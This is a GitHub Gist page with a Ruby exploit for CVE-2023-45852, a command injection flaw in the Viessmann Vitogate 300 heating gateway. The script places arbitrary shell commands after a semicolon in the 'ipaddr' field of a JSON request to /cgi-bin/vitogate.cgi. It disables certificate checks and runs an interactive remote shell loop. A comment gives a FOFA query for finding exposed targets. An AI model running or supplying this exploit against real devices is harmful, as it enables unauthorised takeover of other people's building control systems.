Created
October 29, 2023 14:32
-
-
Save komodoooo/edacac1987268273f48afe752f4efb31 to your computer and use it in GitHub Desktop.
CVE-2023-45852 exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'http' | |
require 'openssl' | |
require 'json' | |
puts """ | |
CVE-2023-45852 | |
Viessmann Vitogate 300 RCE exploit | |
By komodo\n | |
""" | |
=begin | |
FOFA query to search vulnerable targets: | |
title="Vitogate 300" | |
=end | |
def main(url, cmd) | |
url.delete_suffix!("/") unless url[-1..-1] != "/" | |
@ctx = OpenSSL::SSL::SSLContext.new() | |
@ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE | |
headerz= | |
payload={:method=> "put", | |
:form=>"form-4-8", | |
:session=>"", | |
:params=>{:ipaddr=>"sex123;#{cmd}"}} | |
r=HTTP.post("#{url}/cgi-bin/vitogate.cgi", :headers=>{"Content-Type"=>"application/json"}, :json=>payload, :ssl_context=>@ctx) | |
if r.code == 200 | |
puts JSON.parse(r.body.to_s.gsub("\n",""))["traceinfo"].split("Unknown host")[1] | |
else | |
puts "Not vulnerable! :(\n" | |
end | |
end | |
begin | |
print "Base URL: " | |
target=gets.chomp | |
while true | |
print "\r$ " | |
main(target, gets.chomp) | |
end | |
rescue => e | |
abort(e.to_s) | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment